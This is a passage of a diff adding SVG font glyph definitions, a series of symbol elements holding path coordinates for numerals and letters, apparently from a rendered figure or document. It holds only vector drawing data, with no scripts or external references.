+<path style="stroke:none;" d="M 0.125 -7.328125 L 1.03125 -7.328125 L 1.03125 -8.78125 L 2.078125 -9.125 L 2.078125 -7.328125 L 3.671875 -7.328125 L 3.671875 -6.375 L 2.078125 -6.375 L 2.078125 -2.015625 C 2.078125 -1.578125 2.128906 -1.265625 2.234375 -1.078125 C 2.335938 -0.890625 2.507812 -0.796875 2.75 -0.796875 C 2.9375 -0.796875 3.101562 -0.816406 3.25 -0.859375 C 3.394531 -0.898438 3.550781 -0.957031 3.71875 -1.03125 L 3.921875 -0.1875 C 3.703125 -0.0820312 3.460938 0 3.203125 0.0625 C 2.941406 0.125 2.671875 0.15625 2.390625 0.15625 C 1.898438 0.15625 1.550781 0 1.34375 -0.3125 C 1.132812 -0.632812 1.03125 -1.148438 1.03125 -1.859375 L 1.03125 -6.375 L 0.125 -6.375 Z M 0.125 -7.328125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-13">
+<path style="stroke:none;" d="M 0.546875 -3.671875 C 0.546875 -4.992188 0.769531 -5.960938 1.21875 -6.578125 C 1.675781 -7.203125 2.328125 -7.515625 3.171875 -7.515625 C 4.066406 -7.515625 4.726562 -7.195312 5.15625 -6.5625 C 5.582031 -5.925781 5.796875 -4.960938 5.796875 -3.671875 C 5.796875 -2.335938 5.566406 -1.363281 5.109375 -0.75 C 4.648438 -0.132812 4.003906 0.171875 3.171875 0.171875 C 2.265625 0.171875 1.597656 -0.144531 1.171875 -0.78125 C 0.753906 -1.414062 0.546875 -2.378906 0.546875 -3.671875 Z M 1.640625 -3.671875 C 1.640625 -3.234375 1.664062 -2.835938 1.71875 -2.484375 C 1.769531 -2.140625 1.859375 -1.835938 1.984375 -1.578125 C 2.109375 -1.328125 2.269531 -1.128906 2.46875 -0.984375 C 2.664062 -0.847656 2.898438 -0.78125 3.171875 -0.78125 C 3.679688 -0.78125 4.0625 -1.003906 4.3125 -1.453125 C 4.5625 -1.910156 4.6875 -2.648438 4.6875 -3.671875 C 4.6875 -4.085938 4.660156 -4.472656 4.609375 -4.828125 C 4.554688 -5.191406 4.46875 -5.5 4.34375 -5.75 C 4.226562 -6.007812 4.070312 -6.207031 3.875 -6.34375 C 3.675781 -6.488281 3.441406 -6.5625 3.171875 -6.5625 C 2.671875 -6.5625 2.289062 -6.328125 2.03125 -5.859375 C 1.769531 -5.398438 1.640625 -4.671875 1.640625 -3.671875 Z M 1.640625 -3.671875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-14">
+<path style="stroke:none;" d="M 1.375 -0.984375 L 3.03125 -0.984375 L 3.03125 -8.125 L 3.171875 -9 L 2.671875 -8.296875 L 1.4375 -7.296875 L 0.875 -7.953125 L 3.546875 -10.453125 L 4.09375 -10.453125 L 4.09375 -0.984375 L 5.6875 -0.984375 L 5.6875 0 L 1.375 0 Z M 1.375 -0.984375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-15">
+<path style="stroke:none;" d="M 5.40625 -8.03125 C 5.40625 -7.488281 5.320312 -6.921875 5.15625 -6.328125 C 5 -5.742188 4.796875 -5.164062 4.546875 -4.59375 C 4.296875 -4.019531 4.015625 -3.46875 3.703125 -2.9375 C 3.398438 -2.414062 3.097656 -1.953125 2.796875 -1.546875 L 2.21875 -0.890625 L 2.21875 -0.84375 L 3 -0.984375 L 5.5625 -0.984375 L 5.5625 0 L 0.8125 0 L 0.8125 -0.46875 C 0.988281 -0.695312 1.195312 -0.976562 1.4375 -1.3125 C 1.6875 -1.65625 1.941406 -2.03125 2.203125 -2.4375 C 2.460938 -2.84375 2.71875 -3.273438 2.96875 -3.734375 C 3.21875 -4.191406 3.441406 -4.65625 3.640625 -5.125 C 3.835938 -5.59375 3.992188 -6.054688 4.109375 -6.515625 C 4.234375 -6.972656 4.296875 -7.410156 4.296875 -7.828125 C 4.296875 -8.328125 4.179688 -8.722656 3.953125 -9.015625 C 3.722656 -9.316406 3.390625 -9.46875 2.953125 -9.46875 C 2.671875 -9.46875 2.394531 -9.414062 2.125 -9.3125 C 1.851562 -9.207031 1.617188 -9.078125 1.421875 -8.921875 L 1.015625 -9.703125 C 1.273438 -9.929688 1.59375 -10.113281 1.96875 -10.25 C 2.351562 -10.382812 2.757812 -10.453125 3.1875 -10.453125 C 3.90625 -10.453125 4.453125 -10.226562 4.828125 -9.78125 C 5.210938 -9.332031 5.40625 -8.75 5.40625 -8.03125 Z M 5.40625 -8.03125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-16">
+<path style="stroke:none;" d="M 6.03125 -7.9375 C 6.03125 -7.6875 6 -7.429688 5.9375 -7.171875 C 5.882812 -6.921875 5.789062 -6.679688 5.65625 -6.453125 C 5.53125 -6.234375 5.375 -6.035156 5.1875 -5.859375 C 5 -5.679688 4.765625 -5.546875 4.484375 -5.453125 L 4.484375 -5.40625 C 4.722656 -5.351562 4.945312 -5.269531 5.15625 -5.15625 C 5.375 -5.039062 5.566406 -4.882812 5.734375 -4.6875 C 5.898438 -4.488281 6.03125 -4.242188 6.125 -3.953125 C 6.226562 -3.660156 6.28125 -3.316406 6.28125 -2.921875 C 6.28125 -2.390625 6.195312 -1.929688 6.03125 -1.546875 C 5.863281 -1.160156 5.632812 -0.84375 5.34375 -0.59375 C 5.0625 -0.351562 4.726562 -0.171875 4.34375 -0.046875 C 3.96875 0.0664062 3.570312 0.125 3.15625 0.125 C 3.019531 0.125 2.859375 0.125 2.671875 0.125 C 2.492188 0.125 2.300781 0.113281 2.09375 0.09375 C 1.894531 0.0820312 1.691406 0.0625 1.484375 0.03125 C 1.285156 0.0078125 1.101562 -0.0234375 0.9375 -0.078125 L 0.9375 -10.1875 C 1.226562 -10.238281 1.570312 -10.285156 1.96875 -10.328125 C 2.363281 -10.367188 2.789062 -10.390625 3.25 -10.390625 C 3.582031 -10.390625 3.914062 -10.359375 4.25 -10.296875 C 4.582031 -10.234375 4.878906 -10.113281 5.140625 -9.9375 C 5.410156 -9.757812 5.625 -9.507812 5.78125 -9.1875 C 5.945312 -8.875 6.03125 -8.457031 6.03125 -7.9375 Z M 3.25 -0.890625 C 3.507812 -0.890625 3.75 -0.929688 3.96875 -1.015625 C 4.195312 -1.097656 4.394531 -1.222656 4.5625 -1.390625 C 4.738281 -1.554688 4.875 -1.757812 4.96875 -2 C 5.070312 -2.238281 5.125 -2.519531 5.125 -2.84375 C 5.125 -3.25 5.0625 -3.578125 4.9375 -3.828125 C 4.8125 -4.078125 4.648438 -4.269531 4.453125 -4.40625 C 4.265625 -4.539062 4.046875 -4.628906 3.796875 -4.671875 C 3.546875 -4.722656 3.285156 -4.75 3.015625 -4.75 L 2.046875 -4.75 L 2.046875 -1 C 2.097656 -0.976562 2.171875 -0.960938 2.265625 -0.953125 C 2.359375 -0.941406 2.460938 -0.929688 2.578125 -0.921875 C 2.691406 -0.910156 2.804688 -0.898438 2.921875 -0.890625 C 3.035156 -0.890625 3.144531 -0.890625 3.25 -0.890625 Z M 2.640625 -5.703125 C 2.773438 -5.703125 2.929688 -5.707031 3.109375 -5.71875 C 3.285156 -5.726562 3.429688 -5.742188 3.546875 -5.765625 C 3.910156 -5.910156 4.222656 -6.144531 4.484375 -6.46875 C 4.742188 -6.800781 4.875 -7.207031 4.875 -7.6875 C 4.875 -8.007812 4.828125 -8.28125 4.734375 -8.5 C 4.648438 -8.71875 4.53125 -8.890625 4.375 -9.015625 C 4.226562 -9.148438 4.050781 -9.242188 3.84375 -9.296875 C 3.632812 -9.347656 3.421875 -9.375 3.203125 -9.375 C 2.941406 -9.375 2.707031 -9.363281 2.5 -9.34375 C 2.300781 -9.332031 2.148438 -9.316406 2.046875 -9.296875 L 2.046875 -5.703125 Z M 2.640625 -5.703125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-17">
+<path style="stroke:none;" d="M 2.46875 -3.296875 L 1.921875 -3.296875 L 1.921875 0 L 0.859375 0 L 0.859375 -10.265625 L 1.921875 -10.265625 L 1.921875 -4.015625 L 2.40625 -4.21875 L 4.125 -7.328125 L 5.34375 -7.328125 L 3.609375 -4.375 L 3.09375 -3.90625 L 3.703125 -3.328125 L 5.59375 0 L 4.3125 0 Z M 2.46875 -3.296875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-18">
+<path style="stroke:none;" d="M 0.40625 -6.640625 L 1.140625 -6.640625 C 1.242188 -7.359375 1.394531 -7.953125 1.59375 -8.421875 C 1.800781 -8.890625 2.050781 -9.269531 2.34375 -9.5625 C 2.632812 -9.863281 2.957031 -10.085938 3.3125 -10.234375 C 3.675781 -10.378906 4.054688 -10.453125 4.453125 -10.453125 C 4.859375 -10.453125 5.203125 -10.421875 5.484375 -10.359375 C 5.773438 -10.304688 6.035156 -10.226562 6.265625 -10.125 L 5.96875 -9.15625 C 5.78125 -9.238281 5.566406 -9.304688 5.328125 -9.359375 C 5.097656 -9.410156 4.816406 -9.4375 4.484375 -9.4375 C 4.222656 -9.4375 3.972656 -9.382812 3.734375 -9.28125 C 3.503906 -9.1875 3.289062 -9.035156 3.09375 -8.828125 C 2.894531 -8.617188 2.722656 -8.34375 2.578125 -8 C 2.429688 -7.65625 2.320312 -7.203125 2.25 -6.640625 L 5.515625 -6.640625 L 5.296875 -5.71875 L 2.15625 -5.71875 C 2.144531 -5.644531 2.140625 -5.546875 2.140625 -5.421875 C 2.140625 -5.304688 2.140625 -5.210938 2.140625 -5.140625 C 2.140625 -5.035156 2.140625 -4.953125 2.140625 -4.890625 C 2.140625 -4.835938 2.144531 -4.769531 2.15625 -4.6875 L 5.0625 -4.6875 L 4.84375 -3.765625 L 2.234375 -3.765625 C 2.367188 -2.742188 2.640625 -2 3.046875 -1.53125 C 3.460938 -1.070312 3.992188 -0.84375 4.640625 -0.84375 C 5.253906 -0.84375 5.753906 -0.976562 6.140625 -1.25 L 6.375 -0.359375 C 6.144531 -0.171875 5.851562 -0.0351562 5.5 0.046875 C 5.144531 0.128906 4.789062 0.171875 4.4375 0.171875 C 3.53125 0.171875 2.785156 -0.132812 2.203125 -0.75 C 1.628906 -1.363281 1.265625 -2.367188 1.109375 -3.765625 L 0.171875 -3.765625 L 0.40625 -4.6875 L 1.046875 -4.6875 L 1.046875 -5.140625 C 1.046875 -5.210938 1.046875 -5.304688 1.046875 -5.421875 C 1.046875 -5.546875 1.050781 -5.644531 1.0625 -5.71875 L 0.171875 -5.71875 Z M 0.40625 -6.640625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-19">
+<path style="stroke:none;" d="M 0.84375 -2.375 C 0.84375 -3.03125 0.976562 -3.585938 1.25 -4.046875 C 1.519531 -4.503906 1.921875 -4.921875 2.453125 -5.296875 C 2.253906 -5.441406 2.066406 -5.59375 1.890625 -5.75 C 1.722656 -5.914062 1.578125 -6.097656 1.453125 -6.296875 C 1.328125 -6.503906 1.226562 -6.734375 1.15625 -6.984375 C 1.082031 -7.242188 1.046875 -7.539062 1.046875 -7.875 C 1.046875 -8.664062 1.25 -9.289062 1.65625 -9.75 C 2.070312 -10.21875 2.644531 -10.453125 3.375 -10.453125 C 4.050781 -10.453125 4.585938 -10.242188 4.984375 -9.828125 C 5.378906 -9.410156 5.578125 -8.835938 5.578125 -8.109375 C 5.578125 -7.554688 5.46875 -7.0625 5.25 -6.625 C 5.039062 -6.195312 4.703125 -5.78125 4.234375 -5.375 C 4.441406 -5.226562 4.640625 -5.066406 4.828125 -4.890625 C 5.015625 -4.710938 5.175781 -4.515625 5.3125 -4.296875 C 5.457031 -4.078125 5.566406 -3.828125 5.640625 -3.546875 C 5.722656 -3.265625 5.765625 -2.941406 5.765625 -2.578125 C 5.765625 -1.742188 5.539062 -1.078125 5.09375 -0.578125 C 4.65625 -0.078125 4.039062 0.171875 3.25 0.171875 C 2.863281 0.171875 2.523438 0.109375 2.234375 -0.015625 C 1.941406 -0.140625 1.691406 -0.3125 1.484375 -0.53125 C 1.273438 -0.757812 1.113281 -1.03125 1 -1.34375 C 0.894531 -1.65625 0.84375 -2 0.84375 -2.375 Z M 3.140625 -4.890625 C 2.691406 -4.554688 2.363281 -4.179688 2.15625 -3.765625 C 1.957031 -3.359375 1.859375 -2.945312 1.859375 -2.53125 C 1.859375 -2.039062 1.976562 -1.625 2.21875 -1.28125 C 2.46875 -0.945312 2.828125 -0.78125 3.296875 -0.78125 C 3.679688 -0.78125 4.007812 -0.914062 4.28125 -1.1875 C 4.5625 -1.46875 4.703125 -1.914062 4.703125 -2.53125 C 4.703125 -2.832031 4.660156 -3.097656 4.578125 -3.328125 C 4.492188 -3.566406 4.375 -3.773438 4.21875 -3.953125 C 4.070312 -4.128906 3.90625 -4.296875 3.71875 -4.453125 C 3.539062 -4.609375 3.347656 -4.753906 3.140625 -4.890625 Z M 3.53125 -5.75 C 3.863281 -6.082031 4.117188 -6.414062 4.296875 -6.75 C 4.472656 -7.09375 4.5625 -7.46875 4.5625 -7.875 C 4.5625 -8.414062 4.441406 -8.820312 4.203125 -9.09375 C 3.960938 -9.363281 3.679688 -9.5 3.359375 -9.5 C 3.148438 -9.5 2.960938 -9.457031 2.796875 -9.375 C 2.640625 -9.289062 2.507812 -9.171875 2.40625 -9.015625 C 2.300781 -8.867188 2.21875 -8.703125 2.15625 -8.515625 C 2.09375 -8.328125 2.0625 -8.125 2.0625 -7.90625 C 2.0625 -7.644531 2.097656 -7.40625 2.171875 -7.1875 C 2.253906 -6.976562 2.363281 -6.789062 2.5 -6.625 C 2.644531 -6.457031 2.804688 -6.300781 2.984375 -6.15625 C 3.160156 -6.007812 3.34375 -5.875 3.53125 -5.75 Z M 3.53125 -5.75 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-20">
+<path style="stroke:none;" d="M 0.5625 -5.140625 C 0.5625 -6.078125 0.617188 -6.878906 0.734375 -7.546875 C 0.847656 -8.222656 1.019531 -8.773438 1.25 -9.203125 C 1.488281 -9.628906 1.78125 -9.941406 2.125 -10.140625 C 2.46875 -10.347656 2.859375 -10.453125 3.296875 -10.453125 C 3.765625 -10.453125 4.171875 -10.347656 4.515625 -10.140625 C 4.867188 -9.941406 5.15625 -9.628906 5.375 -9.203125 C 5.601562 -8.773438 5.769531 -8.222656 5.875 -7.546875 C 5.988281 -6.878906 6.046875 -6.078125 6.046875 -5.140625 C 6.046875 -4.191406 5.984375 -3.378906 5.859375 -2.703125 C 5.742188 -2.035156 5.566406 -1.488281 5.328125 -1.0625 C 5.097656 -0.632812 4.8125 -0.320312 4.46875 -0.125 C 4.132812 0.0703125 3.75 0.171875 3.3125 0.171875 C 2.832031 0.171875 2.421875 0.0703125 2.078125 -0.125 C 1.734375 -0.332031 1.445312 -0.648438 1.21875 -1.078125 C 0.988281 -1.515625 0.820312 -2.066406 0.71875 -2.734375 C 0.613281 -3.398438 0.5625 -4.203125 0.5625 -5.140625 Z M 1.65625 -5.140625 C 1.65625 -3.734375 1.785156 -2.65625 2.046875 -1.90625 C 2.316406 -1.15625 2.742188 -0.78125 3.328125 -0.78125 C 3.898438 -0.78125 4.3125 -1.125 4.5625 -1.8125 C 4.820312 -2.5 4.953125 -3.609375 4.953125 -5.140625 C 4.953125 -6.523438 4.828125 -7.597656 4.578125 -8.359375 C 4.328125 -9.117188 3.898438 -9.5 3.296875 -9.5 C 2.734375 -9.5 2.316406 -9.15625 2.046875 -8.46875 C 1.785156 -7.78125 1.65625 -6.671875 1.65625 -5.140625 Z M 1.65625 -5.140625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-21">
+<path style="stroke:none;" d="M 0.578125 -0.65625 C 0.578125 -0.9375 0.640625 -1.144531 0.765625 -1.28125 C 0.898438 -1.414062 1.082031 -1.484375 1.3125 -1.484375 C 1.53125 -1.484375 1.707031 -1.414062 1.84375 -1.28125 C 1.976562 -1.144531 2.046875 -0.9375 2.046875 -0.65625 C 2.046875 -0.375 1.976562 -0.164062 1.84375 -0.03125 C 1.707031 0.101562 1.53125 0.171875 1.3125 0.171875 C 1.082031 0.171875 0.898438 0.101562 0.765625 -0.03125 C 0.640625 -0.164062 0.578125 -0.375 0.578125 -0.65625 Z M 0.578125 -0.65625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-22">
+<path style="stroke:none;" d="M 5.515625 -7.328125 L 5.515625 0 L 4.453125 0 L 4.453125 -6.375 L 2.1875 -6.375 L 2.1875 0 L 1.125 0 L 1.125 -6.375 L 0.234375 -6.375 L 0.234375 -7.328125 L 1.125 -7.328125 L 1.125 -7.75 C 1.125 -8.664062 1.3125 -9.332031 1.6875 -9.75 C 2.0625 -10.164062 2.601562 -10.375 3.3125 -10.375 C 3.789062 -10.375 4.207031 -10.328125 4.5625 -10.234375 C 4.925781 -10.140625 5.21875 -10.035156 5.4375 -9.921875 L 5.109375 -9.03125 C 4.867188 -9.175781 4.601562 -9.273438 4.3125 -9.328125 C 4.03125 -9.390625 3.734375 -9.421875 3.421875 -9.421875 C 3.140625 -9.421875 2.921875 -9.375 2.765625 -9.28125 C 2.609375 -9.1875 2.484375 -9.046875 2.390625 -8.859375 C 2.304688 -8.679688 2.25 -8.460938 2.21875 -8.203125 C 2.195312 -7.941406 2.1875 -7.648438 2.1875 -7.328125 Z M 5.515625 -7.328125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-23">
+<path style="stroke:none;" d="M 2.359375 -3.75 L 0.421875 -7.328125 L 1.6875 -7.328125 L 2.765625 -5.234375 L 3.0625 -4.421875 L 3.375 -5.234375 L 4.484375 -7.328125 L 5.65625 -7.328125 L 3.703125 -3.8125 L 5.765625 0 L 4.5625 0 L 3.328125 -2.296875 L 3 -3.1875 L 2.671875 -2.296875 L 1.4375 0 L 0.28125 0 Z M 2.359375 -3.75 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-24">
+<path style="stroke:none;" d="M 5.484375 0.34375 C 5.484375 1.289062 5.269531 1.988281 4.84375 2.4375 C 4.425781 2.882812 3.816406 3.109375 3.015625 3.109375 C 2.523438 3.109375 2.125 3.066406 1.8125 2.984375 C 1.5 2.898438 1.25 2.804688 1.0625 2.703125 L 1.359375 1.796875 C 1.554688 1.878906 1.769531 1.957031 2 2.03125 C 2.238281 2.113281 2.53125 2.15625 2.875 2.15625 C 3.46875 2.15625 3.875 1.988281 4.09375 1.65625 C 4.320312 1.320312 4.4375 0.765625 4.4375 -0.015625 L 4.4375 -0.5625 L 4.390625 -0.5625 C 4.234375 -0.332031 4.03125 -0.15625 3.78125 -0.03125 C 3.539062 0.09375 3.226562 0.15625 2.84375 0.15625 C 2.050781 0.15625 1.46875 -0.144531 1.09375 -0.75 C 0.726562 -1.363281 0.546875 -2.328125 0.546875 -3.640625 C 0.546875 -4.898438 0.785156 -5.851562 1.265625 -6.5 C 1.753906 -7.144531 2.472656 -7.46875 3.421875 -7.46875 C 3.878906 -7.46875 4.273438 -7.421875 4.609375 -7.328125 C 4.941406 -7.242188 5.234375 -7.144531 5.484375 -7.03125 Z M 4.4375 -6.28125 C 4.132812 -6.4375 3.753906 -6.515625 3.296875 -6.515625 C 2.796875 -6.515625 2.394531 -6.285156 2.09375 -5.828125 C 1.789062 -5.378906 1.640625 -4.65625 1.640625 -3.65625 C 1.640625 -3.238281 1.664062 -2.859375 1.71875 -2.515625 C 1.769531 -2.171875 1.851562 -1.867188 1.96875 -1.609375 C 2.082031 -1.347656 2.226562 -1.144531 2.40625 -1 C 2.59375 -0.863281 2.816406 -0.796875 3.078125 -0.796875 C 3.453125 -0.796875 3.742188 -0.890625 3.953125 -1.078125 C 4.171875 -1.273438 4.332031 -1.570312 4.4375 -1.96875 Z M 4.4375 -6.28125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-25">
+<path style="stroke:none;" d="M 0.53125 -0.625 C 0.53125 -0.875 0.597656 -1.070312 0.734375 -1.21875 C 0.878906 -1.363281 1.066406 -1.4375 1.296875 -1.4375 C 1.546875 -1.4375 1.75 -1.332031 1.90625 -1.125 C 2.070312 -0.925781 2.15625 -0.601562 2.15625 -0.15625 C 2.15625 0.164062 2.113281 0.453125 2.03125 0.703125 C 1.945312 0.960938 1.835938 1.191406 1.703125 1.390625 C 1.578125 1.585938 1.4375 1.75 1.28125 1.875 C 1.125 2 0.972656 2.09375 0.828125 2.15625 L 0.453125 1.65625 C 0.578125 1.59375 0.695312 1.503906 0.8125 1.390625 C 0.925781 1.273438 1.019531 1.148438 1.09375 1.015625 C 1.164062 0.878906 1.222656 0.734375 1.265625 0.578125 C 1.304688 0.429688 1.328125 0.28125 1.328125 0.125 C 1.128906 0.1875 0.945312 0.148438 0.78125 0.015625 C 0.613281 -0.117188 0.53125 -0.332031 0.53125 -0.625 Z M 0.53125 -0.625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-26">
+<path style="stroke:none;" d="M 0.859375 -10.265625 L 1.921875 -10.265625 L 1.921875 -6.78125 L 1.96875 -6.78125 C 2.363281 -7.269531 2.894531 -7.515625 3.5625 -7.515625 C 4.3125 -7.515625 4.875 -7.210938 5.25 -6.609375 C 5.632812 -6.015625 5.828125 -5.070312 5.828125 -3.78125 C 5.828125 -2.457031 5.570312 -1.472656 5.0625 -0.828125 C 4.5625 -0.191406 3.851562 0.125 2.9375 0.125 C 2.488281 0.125 2.078125 0.078125 1.703125 -0.015625 C 1.328125 -0.117188 1.046875 -0.238281 0.859375 -0.375 Z M 1.921875 -1.078125 C 2.054688 -0.992188 2.222656 -0.929688 2.421875 -0.890625 C 2.628906 -0.847656 2.84375 -0.828125 3.0625 -0.828125 C 3.570312 -0.828125 3.972656 -1.066406 4.265625 -1.546875 C 4.566406 -2.035156 4.71875 -2.78125 4.71875 -3.78125 C 4.71875 -4.207031 4.691406 -4.585938 4.640625 -4.921875 C 4.585938 -5.253906 4.503906 -5.539062 4.390625 -5.78125 C 4.273438 -6.03125 4.128906 -6.222656 3.953125 -6.359375 C 3.773438 -6.492188 3.554688 -6.5625 3.296875 -6.5625 C 2.941406 -6.5625 2.648438 -6.453125 2.421875 -6.234375 C 2.191406 -6.023438 2.023438 -5.742188 1.921875 -5.390625 Z M 1.921875 -1.078125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-27">
+<path style="stroke:none;" d="M 2 -1.75 C 2 -1.40625 2.046875 -1.160156 2.140625 -1.015625 C 2.234375 -0.867188 2.363281 -0.796875 2.53125 -0.796875 C 2.726562 -0.796875 2.96875 -0.847656 3.25 -0.953125 L 3.34375 -0.109375 C 3.21875 -0.0234375 3.039062 0.0351562 2.8125 0.078125 C 2.582031 0.128906 2.375 0.15625 2.1875 0.15625 C 1.8125 0.15625 1.507812 0.0390625 1.28125 -0.1875 C 1.050781 -0.414062 0.9375 -0.816406 0.9375 -1.390625 L 0.9375 -10.265625 L 2 -10.265625 Z M 2 -1.75 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-28">
+<path style="stroke:none;" d="M 1.8125 -7.328125 L 1.8125 -2.84375 C 1.8125 -2.101562 1.890625 -1.570312 2.046875 -1.25 C 2.203125 -0.9375 2.476562 -0.78125 2.875 -0.78125 C 3.082031 -0.78125 3.265625 -0.820312 3.421875 -0.90625 C 3.585938 -0.988281 3.734375 -1.097656 3.859375 -1.234375 C 3.984375 -1.367188 4.09375 -1.523438 4.1875 -1.703125 C 4.289062 -1.878906 4.375 -2.0625 4.4375 -2.25 L 4.4375 -7.328125 L 5.484375 -7.328125 L 5.484375 -2.078125 C 5.484375 -1.734375 5.492188 -1.367188 5.515625 -0.984375 C 5.546875 -0.609375 5.585938 -0.28125 5.640625 0 L 4.890625 0 L 4.625 -1.03125 L 4.578125 -1.03125 C 4.410156 -0.707031 4.171875 -0.425781 3.859375 -0.1875 C 3.546875 0.0507812 3.15625 0.171875 2.6875 0.171875 C 2.375 0.171875 2.097656 0.128906 1.859375 0.046875 C 1.628906 -0.0234375 1.429688 -0.160156 1.265625 -0.359375 C 1.097656 -0.566406 0.972656 -0.847656 0.890625 -1.203125 C 0.804688 -1.566406 0.765625 -2.023438 0.765625 -2.578125 L 0.765625 -7.328125 Z M 1.8125 -7.328125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-29">
+<path style="stroke:none;" d="M 0.234375 -7.328125 L 1.125 -7.328125 L 1.125 -7.75 C 1.125 -8.664062 1.253906 -9.328125 1.515625 -9.734375 C 1.785156 -10.148438 2.238281 -10.359375 2.875 -10.359375 C 3.125 -10.359375 3.351562 -10.34375 3.5625 -10.3125 C 3.769531 -10.28125 3.984375 -10.21875 4.203125 -10.125 L 3.9375 -9.21875 C 3.757812 -9.289062 3.59375 -9.335938 3.4375 -9.359375 C 3.289062 -9.390625 3.144531 -9.40625 3 -9.40625 C 2.8125 -9.40625 2.660156 -9.363281 2.546875 -9.28125 C 2.441406 -9.207031 2.363281 -9.085938 2.3125 -8.921875 C 2.257812 -8.753906 2.222656 -8.539062 2.203125 -8.28125 C 2.191406 -8.019531 2.1875 -7.703125 2.1875 -7.328125 L 3.71875 -7.328125 L 3.71875 -6.375 L 2.1875 -6.375 L 2.1875 0 L 1.125 0 L 1.125 -6.375 L 0.234375 -6.375 Z M 0.234375 -7.328125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-30">
+<path style="stroke:none;" d="M 1.359375 -1.109375 C 1.546875 -1.003906 1.757812 -0.921875 2 -0.859375 C 2.238281 -0.804688 2.515625 -0.78125 2.828125 -0.78125 C 3.097656 -0.78125 3.34375 -0.832031 3.5625 -0.9375 C 3.78125 -1.039062 3.96875 -1.191406 4.125 -1.390625 C 4.289062 -1.585938 4.414062 -1.820312 4.5 -2.09375 C 4.59375 -2.363281 4.640625 -2.660156 4.640625 -2.984375 C 4.640625 -3.703125 4.476562 -4.226562 4.15625 -4.5625 C 3.84375 -4.894531 3.398438 -5.0625 2.828125 -5.0625 L 1.953125 -5.0625 L 1.953125 -5.484375 L 3.65625 -8.78125 L 4.21875 -9.390625 L 3.421875 -9.28125 L 1.109375 -9.28125 L 1.109375 -10.265625 L 5.375 -10.265625 L 5.375 -9.84375 L 3.484375 -6.34375 L 3.046875 -5.90625 L 3.046875 -5.890625 L 3.484375 -5.96875 C 3.785156 -5.96875 4.070312 -5.90625 4.34375 -5.78125 C 4.613281 -5.664062 4.847656 -5.488281 5.046875 -5.25 C 5.242188 -5.007812 5.398438 -4.710938 5.515625 -4.359375 C 5.628906 -4.003906 5.6875 -3.59375 5.6875 -3.125 C 5.6875 -2.59375 5.609375 -2.117188 5.453125 -1.703125 C 5.304688 -1.296875 5.101562 -0.953125 4.84375 -0.671875 C 4.582031 -0.398438 4.28125 -0.191406 3.9375 -0.046875 C 3.59375 0.0976562 3.222656 0.171875 2.828125 0.171875 C 2.484375 0.171875 2.160156 0.140625 1.859375 0.078125 C 1.554688 0.0234375 1.296875 -0.0507812 1.078125 -0.15625 Z M 1.359375 -1.109375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-31">
+<path style="stroke:none;" d="M 5.828125 -4.734375 L 2.046875 -4.734375 L 2.046875 0 L 0.9375 0 L 0.9375 -10.265625 L 2.046875 -10.265625 L 2.046875 -5.75 L 5.828125 -5.75 L 5.828125 -10.265625 L 6.921875 -10.265625 L 6.921875 0 L 5.828125 0 Z M 5.828125 -4.734375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-32">
+<path style="stroke:none;" d="M 0.671875 -7.15625 C 0.671875 -8.175781 0.890625 -8.976562 1.328125 -9.5625 C 1.765625 -10.15625 2.410156 -10.453125 3.265625 -10.453125 C 4.085938 -10.453125 4.726562 -10.144531 5.1875 -9.53125 C 5.644531 -8.925781 5.875 -8 5.875 -6.75 C 5.875 -5.644531 5.769531 -4.679688 5.5625 -3.859375 C 5.351562 -3.046875 5.066406 -2.359375 4.703125 -1.796875 C 4.347656 -1.234375 3.925781 -0.789062 3.4375 -0.46875 C 2.945312 -0.144531 2.414062 0.0664062 1.84375 0.171875 L 1.5625 -0.6875 C 2.507812 -0.9375 3.238281 -1.425781 3.75 -2.15625 C 4.269531 -2.894531 4.597656 -3.820312 4.734375 -4.9375 C 4.535156 -4.65625 4.3125 -4.457031 4.0625 -4.34375 C 3.8125 -4.226562 3.476562 -4.171875 3.0625 -4.171875 C 2.75 -4.171875 2.445312 -4.226562 2.15625 -4.34375 C 1.875 -4.46875 1.625 -4.65625 1.40625 -4.90625 C 1.1875 -5.15625 1.007812 -5.46875 0.875 -5.84375 C 0.738281 -6.21875 0.671875 -6.65625 0.671875 -7.15625 Z M 1.75 -7.28125 C 1.75 -6.582031 1.890625 -6.046875 2.171875 -5.671875 C 2.453125 -5.304688 2.828125 -5.125 3.296875 -5.125 C 3.671875 -5.125 3.988281 -5.203125 4.25 -5.359375 C 4.507812 -5.523438 4.695312 -5.734375 4.8125 -5.984375 C 4.832031 -6.109375 4.84375 -6.226562 4.84375 -6.34375 C 4.84375 -6.46875 4.84375 -6.582031 4.84375 -6.6875 C 4.84375 -7.0625 4.8125 -7.414062 4.75 -7.75 C 4.6875 -8.09375 4.585938 -8.390625 4.453125 -8.640625 C 4.316406 -8.898438 4.144531 -9.109375 3.9375 -9.265625 C 3.738281 -9.421875 3.5 -9.5 3.21875 -9.5 C 2.757812 -9.5 2.398438 -9.296875 2.140625 -8.890625 C 1.878906 -8.492188 1.75 -7.957031 1.75 -7.28125 Z M 1.75 -7.28125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-33">
